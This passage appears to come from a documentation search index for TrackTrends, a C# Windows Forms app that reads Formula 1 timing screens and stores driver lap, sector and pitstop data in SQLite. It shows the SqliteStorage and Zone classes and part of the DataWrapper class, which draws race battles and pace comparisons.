NOT NULL, Position INTEGER NOT NULL, PRIMARY KEY (Lap, DriverID));\" ; using ( var command = new SQLiteCommand ( createStatsTableQuery , Connection )) { command . ExecuteNonQuery (); } } /// /// Adds a driver into the drivers table. Meant to be used at the start of the programm /// /// The name of the driver. (non case sensitive) public void AddDriver ( string name ) { string insertQuery = \"INSERT INTO Drivers (Name) VALUES (@name);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Name\" , name ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new driver into de Database\"); } } } /// /// Searches for a driver and returns its id if it has been found /// /// Name of the driver (non case sensitive) /// private int GetDriverID ( string name ) { string selectQuery = \"SELECT ID FROM Drivers where Name LIKE @driverName\" ; int result = 0 ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverName\" , name ); try { using ( var reader = command . ExecuteReader ()) { while ( reader . Read ()) { result = reader . GetInt32 ( 0 ); } } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Gets the sectors from a lapTime. Sectors are subdivisions of a laptime (could be usefull to validate one or the other) /// /// The name of the driver who has done the lap /// The lap at wich the driver has done the time /// A list of the different sectors time in int (ms) public List < int > GetSectorsFromLapTime ( string driverName , int lap ) { int driverId = GetDriverID ( driverName ); string selectQuery = \"SELECT Sector1,Sector2,Sector3 FROM Stats WHERE DriverID = @driverID AND Lap = @lap\" ; List < int > result = new List < int >(); using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@lap\" , lap ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { result . Add ( reader . GetInt32 ( 0 )); result . Add ( reader . GetInt32 ( 1 )); result . Add ( reader . GetInt32 ( 2 )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Get the laptime history of a driver /// /// The name of the driver /// The number of lapTimes you want /// A list of tuples with the lap and the laptime. It will only return the amount it found so even if you ask 5 expect getting less or even 0 public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return lapData ; } /// /// Add a pitstop into the db /// /// The name of the driver who made his pitstop /// The lap where he stopped /// The tyre he took out public void AddPitstop ( string driverName , int lap , string tyre ) { string insertQuery = \"INSERT INTO Pitstops (Lap,DriverID,Tyre) VALUES (@Lap,@DriverID,@Tyre)\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( driverName )); command . Parameters . AddWithValue ( \"@Tyre\" , tyre ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new pitstop into the DB\" + Environment.NewLine + \"Request :\"+ command.ToString()); } } } /// /// Adds drivers info into the DB (it should only be once per lap) /// /// The Driver data /// The lap from wich the datas are from public void AddDriverStat ( DriverData data , int lap ) { string insertQuery = \"INSERT INTO Stats (Lap,DriverID,Tyre,LapTime,Sector1,Sector2,Sector3,GapToLeader,Position) VALUES (@Lap,@DriverID,@Tyre,@LapTime,@Sector1,@Sector2,@Sector3,@GapToLeader,@Position);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( data . Name )); command . Parameters . AddWithValue ( \"@Tyre\" , data . CurrentTyre . Coumpound . ToString ()); command . Parameters . AddWithValue ( \"@LapTime\" , data . LapTime ); command . Parameters . AddWithValue ( \"@Sector1\" , data . Sector1 ); command . Parameters . AddWithValue ( \"@Sector2\" , data . Sector2 ); command . Parameters . AddWithValue ( \"@Sector3\" , data . Sector3 ); command . Parameters . AddWithValue ( \"@GapToLeader\" , data . GapToLeader ); command . Parameters . AddWithValue ( \"@Position\" , data . Position ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert infos about a driver\"); } } } } }","title":"SqliteStorage.cs"},{"location":"Code/SqliteStorage.html#sqlitestoragecs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : SqliteStorage.cs /// Brief : Class that controls the sqlite database /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Data.SQLite ; using System.IO ; using System.Windows.Forms ; namespace TrackTrends { public class SqliteStorage { private const string DATABASE_FOLDER = \"./Data\" ; private const string DATABASE_FILE = \"/database.sqlite\" ; private const string CONNECTION_STRING = \"Data Source=\" + DATABASE_FOLDER + DATABASE_FILE + \";Version=3;\" ; private SQLiteConnection Connection ; /// /// Creates a new Sqlite Storage and initialize the database /// public SqliteStorage () { Load (); } /// /// Loads a fresh new Database or create a new one if it does not exist. /// private void Load () { if (! Directory . Exists ( DATABASE_FOLDER )) Directory . CreateDirectory ( DATABASE_FOLDER ); if (! File . Exists ( DATABASE_FOLDER + DATABASE_FILE )) { SQLiteConnection . CreateFile ( DATABASE_FOLDER + DATABASE_FILE ); } else { //We are not using the existing DataBase File . Delete ( DATABASE_FOLDER + DATABASE_FILE ); } Connection = new SQLiteConnection ( CONNECTION_STRING ); Connection . Open (); //Create the drivers table string createDriversTableQuery = @\"CREATE TABLE IF NOT EXISTS Drivers (ID INTEGER PRIMARY KEY AUTOINCREMENT, Name VARCHAR NOT NULL);\" ; using ( var command = new SQLiteCommand ( createDriversTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the drivers table string createPitstopTableQuery = @\"CREATE TABLE Pitstops (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR, PRIMARY KEY (Lap,DriverID));\" ; using ( var command = new SQLiteCommand ( createPitstopTableQuery , Connection )) { command . ExecuteNonQuery (); } //Create the stats string createStatsTableQuery = @\"CREATE TABLE IF NOT EXISTS Stats (Lap INTEGER NOT NULL, DriverID INTEGER NOT NULL, Tyre VARCHAR NOT NULL, LapTime INTEGER NOT NULL, Sector1 INTEGER NOT NULL, Sector2 INTEGER NOT NULL, Sector3 INTEGER NOT NULL, GapToLeader INTEGER NOT NULL, Position INTEGER NOT NULL, PRIMARY KEY (Lap, DriverID));\" ; using ( var command = new SQLiteCommand ( createStatsTableQuery , Connection )) { command . ExecuteNonQuery (); } } /// /// Adds a driver into the drivers table. Meant to be used at the start of the programm /// /// The name of the driver. (non case sensitive) public void AddDriver ( string name ) { string insertQuery = \"INSERT INTO Drivers (Name) VALUES (@name);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Name\" , name ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new driver into de Database\"); } } } /// /// Searches for a driver and returns its id if it has been found /// /// Name of the driver (non case sensitive) /// private int GetDriverID ( string name ) { string selectQuery = \"SELECT ID FROM Drivers where Name LIKE @driverName\" ; int result = 0 ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverName\" , name ); try { using ( var reader = command . ExecuteReader ()) { while ( reader . Read ()) { result = reader . GetInt32 ( 0 ); } } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Gets the sectors from a lapTime. Sectors are subdivisions of a laptime (could be usefull to validate one or the other) /// /// The name of the driver who has done the lap /// The lap at wich the driver has done the time /// A list of the different sectors time in int (ms) public List < int > GetSectorsFromLapTime ( string driverName , int lap ) { int driverId = GetDriverID ( driverName ); string selectQuery = \"SELECT Sector1,Sector2,Sector3 FROM Stats WHERE DriverID = @driverID AND Lap = @lap\" ; List < int > result = new List < int >(); using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@lap\" , lap ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { result . Add ( reader . GetInt32 ( 0 )); result . Add ( reader . GetInt32 ( 1 )); result . Add ( reader . GetInt32 ( 2 )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return result ; } /// /// Get the laptime history of a driver /// /// The name of the driver /// The number of lapTimes you want /// A list of tuples with the lap and the laptime. It will only return the amount it found so even if you ask 5 expect getting less or even 0 public List <( int LapTime , int Lap )> GetDriverLaptimes ( string driverName , int numberOfLaptimes ) { int driverId = GetDriverID ( driverName ); List <( int LapTime , int Lap )> lapData = new List <( int LapTime , int Lap )>(); string selectQuery = \"Select LapTime,Lap from Stats WHERE DriverID = @driverID ORDER BY Lap DESC LIMIT @limit\" ; using ( var command = new SQLiteCommand ( selectQuery , Connection )) { command . Parameters . AddWithValue ( \"@driverID\" , driverId ); command . Parameters . AddWithValue ( \"@limit\" , numberOfLaptimes ); try { SQLiteDataReader reader = command . ExecuteReader (); while ( reader . Read ()) { int lapTime = reader . GetInt32 ( 0 ); int lap = reader . GetInt32 ( 1 ); lapData . Add (( lapTime , lap )); } } catch { //MessageBox.Show(\"There has been an error while trying to retrieve the ID of a Driver from the database\"); } } return lapData ; } /// /// Add a pitstop into the db /// /// The name of the driver who made his pitstop /// The lap where he stopped /// The tyre he took out public void AddPitstop ( string driverName , int lap , string tyre ) { string insertQuery = \"INSERT INTO Pitstops (Lap,DriverID,Tyre) VALUES (@Lap,@DriverID,@Tyre)\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( driverName )); command . Parameters . AddWithValue ( \"@Tyre\" , tyre ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert a new pitstop into the DB\" + Environment.NewLine + \"Request :\"+ command.ToString()); } } } /// /// Adds drivers info into the DB (it should only be once per lap) /// /// The Driver data /// The lap from wich the datas are from public void AddDriverStat ( DriverData data , int lap ) { string insertQuery = \"INSERT INTO Stats (Lap,DriverID,Tyre,LapTime,Sector1,Sector2,Sector3,GapToLeader,Position) VALUES (@Lap,@DriverID,@Tyre,@LapTime,@Sector1,@Sector2,@Sector3,@GapToLeader,@Position);\" ; using ( var command = new SQLiteCommand ( insertQuery , Connection )) { command . Parameters . AddWithValue ( \"@Lap\" , lap ); command . Parameters . AddWithValue ( \"@DriverID\" , GetDriverID ( data . Name )); command . Parameters . AddWithValue ( \"@Tyre\" , data . CurrentTyre . Coumpound . ToString ()); command . Parameters . AddWithValue ( \"@LapTime\" , data . LapTime ); command . Parameters . AddWithValue ( \"@Sector1\" , data . Sector1 ); command . Parameters . AddWithValue ( \"@Sector2\" , data . Sector2 ); command . Parameters . AddWithValue ( \"@Sector3\" , data . Sector3 ); command . Parameters . AddWithValue ( \"@GapToLeader\" , data . GapToLeader ); command . Parameters . AddWithValue ( \"@Position\" , data . Position ); try { command . ExecuteNonQuery (); } catch { //MessageBox.Show(\"An error has occured while trying to insert infos about a driver\"); } } } } }","title":"SqliteStorage.cs"},{"location":"Code/Zone.html","text":"Zone.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class Zone { private Rectangle _bounds ; private List < Zone > _zones ; private List < Window > _windows ; private Bitmap _image ; private string _name ; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Bitmap Image { get { return _image ; } set { //It automatically sets the image for the contained windows and zones _image = value ; foreach ( Window w in Windows ) { w . Image = ZoneImage ; } foreach ( Zone z in Zones ) { z . Image = Image ; } } } public Rectangle Bounds { get => _bounds ; protected set => _bounds = value ; } public List < Zone > Zones { get => _zones ; protected set => _zones = value ; } public List < Window > Windows { get => _windows ; protected set => _windows = value ; } public string Name { get => _name ; protected set => _name = value ; } /// /// Creates a new Zone /// /// Image of the parent zone /// The position and size of the zone /// THe name of the zone (usefull for the JSON formatting) public Zone ( Bitmap image , Rectangle bounds , string name ) { Windows = new List < Window >(); Zones = new List < Zone >(); Name = name ; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image ; Bounds = bounds ; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone ( Zone zone ) { Zones . Add ( zone ); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual DriverData Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string )( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool )( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int )( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int )( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int )( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int )( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre )( w as DriverTyresWindow ). DecodePng (); } return result ; } public virtual Bitmap Draw () { Bitmap img ; //If its the main zone we want to see everything if ( Zones . Count > 0 ) { img = Image ; } else { img = ZoneImage ; } Graphics g = Graphics . FromImage ( img ); //If its the main zone we need to visualize the Zone bounds displayed if ( Zones . Count > 0 ) g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), Bounds ); foreach ( Zone z in Zones ) { Rectangle newBounds = new Rectangle ( z . Bounds . X , z . Bounds . Y + Bounds . Y , z . Bounds . Width , z . Bounds . Height ); g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), newBounds ); } foreach ( Window w in Windows ) { g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 252 , 252 , 252 )), 5 ), w . Bounds ); } return img ; } public void ResetZones () { Zones . Clear (); } public void ResetWindows () { foreach ( Zone z in Zones ) { z . ResetWindows (); } Windows . Clear (); } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } }","title":"Zone.cs"},{"location":"Code/Zone.html#zonecs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Zone.cs /// Brief : Class that contains all the methods and infos for a zone. This is designed to be potentially be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; namespace TrackTrends { public class Zone { private Rectangle _bounds ; private List < Zone > _zones ; private List < Window > _windows ; private Bitmap _image ; private string _name ; public Bitmap ZoneImage { get { //This little trickery lets you have the image that the zone sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } public Bitmap Image { get { return _image ; } set { //It automatically sets the image for the contained windows and zones _image = value ; foreach ( Window w in Windows ) { w . Image = ZoneImage ; } foreach ( Zone z in Zones ) { z . Image = Image ; } } } public Rectangle Bounds { get => _bounds ; protected set => _bounds = value ; } public List < Zone > Zones { get => _zones ; protected set => _zones = value ; } public List < Window > Windows { get => _windows ; protected set => _windows = value ; } public string Name { get => _name ; protected set => _name = value ; } /// /// Creates a new Zone /// /// Image of the parent zone /// The position and size of the zone /// THe name of the zone (usefull for the JSON formatting) public Zone ( Bitmap image , Rectangle bounds , string name ) { Windows = new List < Window >(); Zones = new List < Zone >(); Name = name ; //You cant set the image in the CTOR because the processing is impossible at first initiation _image = image ; Bounds = bounds ; } /// /// Adds a zone to the list of zones /// /// The zone you want to add public virtual void AddZone ( Zone zone ) { Zones . Add ( zone ); } /// /// Add a window to the list of windows /// /// the window you want to add public virtual void AddWindow ( Window window ) { Windows . Add ( window ); } /// /// Calls all the windows to do OCR and to give back the results so we can send them to the model /// /// A list of all the driver in the race to help with text recognition /// A driver data object that contains all the infos about a driver public virtual DriverData Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string )( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool )( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int )( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int )( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int )( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int )( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int )( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre )( w as DriverTyresWindow ). DecodePng (); } return result ; } public virtual Bitmap Draw () { Bitmap img ; //If its the main zone we want to see everything if ( Zones . Count > 0 ) { img = Image ; } else { img = ZoneImage ; } Graphics g = Graphics . FromImage ( img ); //If its the main zone we need to visualize the Zone bounds displayed if ( Zones . Count > 0 ) g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), Bounds ); foreach ( Zone z in Zones ) { Rectangle newBounds = new Rectangle ( z . Bounds . X , z . Bounds . Y + Bounds . Y , z . Bounds . Width , z . Bounds . Height ); g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 249 , 194 , 46 )), 5 ), newBounds ); } foreach ( Window w in Windows ) { g . DrawRectangle ( new Pen ( new SolidBrush ( Color . FromArgb ( 252 , 252 , 252 )), 5 ), w . Bounds ); } return img ; } public void ResetZones () { Zones . Clear (); } public void ResetWindows () { foreach ( Zone z in Zones ) { z . ResetWindows (); } Windows . Clear (); } /// /// Checks if the given Rectangle fits in the current zone /// /// The Rectangle you want to check the fittment /// protected bool Fits ( Rectangle inputRectangle ) { if ( inputRectangle . X + inputRectangle . Width > Bounds . Width || inputRectangle . Y + inputRectangle . Height > Bounds . Height || inputRectangle . X < 0 || inputRectangle . Y < 0 ) { return false ; } else { return true ; } } } }","title":"Zone.cs"},{"location":"Code/DataWrapper.html","text":"DataWrapper.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : DataWrapper.cs /// Brief : Class that is used to interface between the main Form (vue) and the Storage (wich is a class that wraps the sqlite database, so the model) its almost MVC :D /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Windows.Forms ; using System.Drawing ; namespace TrackTrends { internal class DataWrapper { private Reader Reader ; private SqliteStorage Storage ; List < List < DriverData >> LiveDriverDataLogs = new List < List < DriverData >>(); //Note : It could be usefull to get the mainForm at the start of the programm and not have to take it in half of the methods. /// /// Constructs a new DataWrapper. It needs the config file so it can create a Reader, It also needs a first screenshot for the same reason /// /// The JSON config file that is created by the configuration tool /// A screenshot of the public DataWrapper ( string configFile , Bitmap screenshot ) { Reader = new Reader ( configFile , screenshot , true ); //The Storage is here and on the Reader. It seems bad but it is ok as we dont use it at all to insert data and are only using it here to read some. The reader takes care of the inserts (Note: We could technically do both here but I did not find it usefull to transfer everything here) Storage = Reader . Storage ; } /// /// Refreshes the controller so it has the latest driver datas (Be sure to call it everytime you need to use any other method and expects the data to be up to date) /// /// Error code, 0 is success, 1 is not (Note: Maybe it could be interesting in the future to add some more error handling here) public int Refresh () { LiveDriverDataLogs . Add ( Reader . Decode ( Reader . MainZones , Reader . Drivers )); if ( LiveDriverDataLogs . Count > 0 ) return 0 ; return 1 ; } /// /// Changes the image to the newest screenshot in all of the zones and windows /// /// The new screenshot to put everywhere (Do not mix resolutions) public void ChangeImage ( Bitmap image ) { Reader . ChangeImage ( image ); } /// /// Gets all the data from one driver and also displays into the given panel the last five laps (or less if its the sart of the race) Note: Its responsive :D /// /// The name of the driver (should not be case sensitive but it MUST already exist in the first list that has been inserted into the DB) /// The pannel where you want the five last laps to be displayed /// The Main form. /// public DriverData GetFullDriverData ( string driverName , Panel lastFiveLapsPanel , Main form1 ) { //Note : I know that its a bad idea to ask the Form in this method and some others because it means that it wont work with any main form. And to that Ill say that... your right ! DriverData result = new DriverData (); if ( LiveDriverDataLogs . Count > 0 ) { //Searches the most recent live data from the given driverName foreach ( DriverData data in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( data . Name == driverName ) result = data ; } if ( result . Name != \"\" ) { //Recovers and displays the last five laps from the driver lastFiveLapsPanel . Controls . Clear (); Size labelDimensions = new Size ( lastFiveLapsPanel . Width , lastFiveLapsPanel . Height / 5 ); List <( int LapTime , int Lap )> lapsInfos = Storage . GetDriverLaptimes ( driverName , 5 ); int id = 0 ; foreach (( int LapTime , int Lap ) lapData in lapsInfos ) { //Hardcodes the new button. //Note : It could be smart to have like a default button for all the methods to use without needing to rewrite everything. Button newButton = new Button (); lastFiveLapsPanel . Controls . Add ( newButton ); newButton . Name = driverName + \"_\" + lapData . Lap ; newButton . Text = Reader . ConvertMsToTime ( lapData . LapTime ); newButton . Size = labelDimensions ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Click += form1 . btnLapTime_Click ; newButton . Location = new Point ( 0 , id * newButton . Height ); id ++; } } } return result ; } /// /// Runs trough every drivers live data to recover the drivers that are close to each others /// /// The control that will host the displayed battles /// The main form. It needs to have a method called 'btnDriver_Click' so it can reads the buttons clicks public void DisplayBattles ( Panel pnlBattles , Main form1 ) { DriverData oldDriver = null ; List <( DriverData d1 , DriverData d2 , int gap )> battles = new List <( DriverData d1 , DriverData d2 , int gap )>(); //Search trough all the drivers and finds the one battling foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { if ( oldDriver != null && driver . Position != - 1 && oldDriver . Position != - 1 ) { if ( driver . GapToLeader < oldDriver . GapToLeader ) { //There is a problem with the drivers gaps } else { int gap = driver . GapToLeader - oldDriver . GapToLeader ; //3000ms is 3s. If drivers are that close then they are definitely in battle. If they are farther then maybe not if ( gap <= 3000 ) { battles . Add (( oldDriver , driver , gap )); } } oldDriver = driver ; } else { oldDriver = driver ; } } //We will only display 4 battles max int maxBattles = 4 ; if ( battles . Count > 0 ) { pnlBattles . Controls . Clear (); int maxUiHeight = Math . Max ( pnlBattles . Height / maxBattles , pnlBattles . Height / battles . Count ); int id = 0 ; foreach (( DriverData d1 , DriverData d2 , int gap ) battle in battles ) { if ( id < maxBattles ) { //*hardcoding* the different controls that needs to be added to the panel. //Note : this stuff could totally be handled by the Form with method returning a list of the drivers. It was just easier for me at the time to code it this way but its not the prettiest Button btnFirstDriver = new Button (); Button btnSecondDriver = new Button (); Label lblGap = new Label (); pnlBattles . Controls . Add ( btnFirstDriver ); pnlBattles . Controls . Add ( lblGap ); pnlBattles . Controls . Add ( btnSecondDriver ); btnFirstDriver . Anchor = AnchorStyles . Left | AnchorStyles . Top ; btnSecondDriver . Anchor = AnchorStyles . Right | AnchorStyles . Top ; lblGap . Anchor = AnchorStyles . Right | AnchorStyles . Left | AnchorStyles . Top ; lblGap . TextAlign = ContentAlignment . MiddleCenter ; lblGap . Font = new Font ( lblGap . Font . FontFamily , 15 ); btnFirstDriver . Click += form1 . btnDriver_Click ; btnSecondDriver . Click += form1 . btnDriver_Click ; btnFirstDriver . FlatStyle = FlatStyle . Popup ; btnSecondDriver . FlatStyle = FlatStyle . Popup ; lblGap . FlatStyle = FlatStyle . Popup ; btnFirstDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnSecondDriver . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); lblGap . Size = new Size ( pnlBattles . Width / 3 , maxUiHeight ); btnFirstDriver . Location = new Point ( pnlBattles . Width / 3 * 0 , id * maxUiHeight ); lblGap . Location = new Point ( pnlBattles . Width / 3 * 1 , id * maxUiHeight ); btnSecondDriver . Location = new Point ( pnlBattles . Width / 3 * 2 , id * maxUiHeight ); btnFirstDriver . Text = battle . d1 . Name ; lblGap . Text = \"+ \" + Reader . ConvertMsToTime ( battle . gap ); if ( battle . gap <= 2000 ) lblGap . ForeColor = Color . Yellow ; if ( battle . gap <= 1000 ) lblGap . ForeColor = Color . Green ; btnSecondDriver . Text = battle . d2 . Name ; btnFirstDriver . Name = battle . d1 . Name + \"_\" + id ; lblGap . Name = \"lbl_Gap_\" + id ; btnSecondDriver . Name = battle . d2 . Name + \"_\" + id ; } else { break ; } id ++; } } } /// /// Searches the fastest and slowests drivers and displays them in the given panels /// /// Panel that will contain the constructed controls /// Panel that will contain the constructed controls /// The main form that needs to implement the method btnDriver_Click to allow it to recover custom buttons click public void DisplayTimesDeltas ( Panel pnlFastest , Panel pnlSlowest , Main form1 ) { List <( int avg , string driverName )> averages = new List <( int avg , string driverName )>(); foreach ( DriverData driver in LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]) { //We want to recover the last 5 lap times List <( int lapTime , int lap )> laps = Storage . GetDriverLaptimes ( driver . Name , 5 ); if ( laps . Count > 0 ) { int avg = 0 ; foreach (( int lapTime , int lap ) lap in laps ) { avg += lap . lapTime ; } avg = avg / laps . Count ; averages . Add (( avg , driver . Name )); } } int numberOfDriversToShow = 5 ; if ( averages . Count > 0 && averages . Count > numberOfDriversToShow ) { averages = averages . OrderBy ( item => item . avg ). ToList (); pnlFastest . Controls . Clear (); pnlSlowest . Controls . Clear (); int maxUiSize = pnlFastest . Height / numberOfDriversToShow ; //Displays the fastest drivers for ( int i = 0 ; i < numberOfDriversToShow ; i ++) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlFastest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , i * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_fastest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap if ( i != 0 ) newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); } //Displays the slowests drivers int badId = 0 ; for ( int i = averages . Count - 1 ; i >= averages . Count - numberOfDriversToShow ; i --) { Button newButton = new Button (); ( int avg , string driver ) data = averages [ i ]; pnlSlowest . Controls . Add ( newButton ); newButton . Size = new Size ( pnlFastest . Width , maxUiSize ); newButton . Location = new Point ( 0 , badId * maxUiSize ); newButton . Text = data . driver ; newButton . FlatStyle = FlatStyle . Popup ; newButton . Name = data . driver + \"_slowest_\" + i ; newButton . Click += form1 . btnDriver_Click ; //We take the average time lost per lap newButton . Text += \" + \" + Reader . ConvertMsToTime ( Convert . ToInt32 ((( float ) data . avg - ( float ) averages [ 0 ]. avg ) / 5.0f )); badId ++; } } } /// /// Will add to the list of overtakes the different changes of position /// /// The listbox containing all the infos public void DisplayOvertakes ( ListBox lsbResult ) { //Note : This method SHOULD REALLY not do this but just return a string or a list of string with the new overtakes so the form can handle it as it wishes if ( LiveDriverDataLogs . Count > 1 ) { List < DriverData > oldList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 2 ]; List < DriverData > newList = LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]; for ( int i = 0 ; i < LiveDriverDataLogs [ LiveDriverDataLogs . Count - 1 ]. Count ; i ++) { if ( oldList [ i ]. Name != newList [ i ]. Name ) { //There has been a change in the standings for ( int y = 0 ; 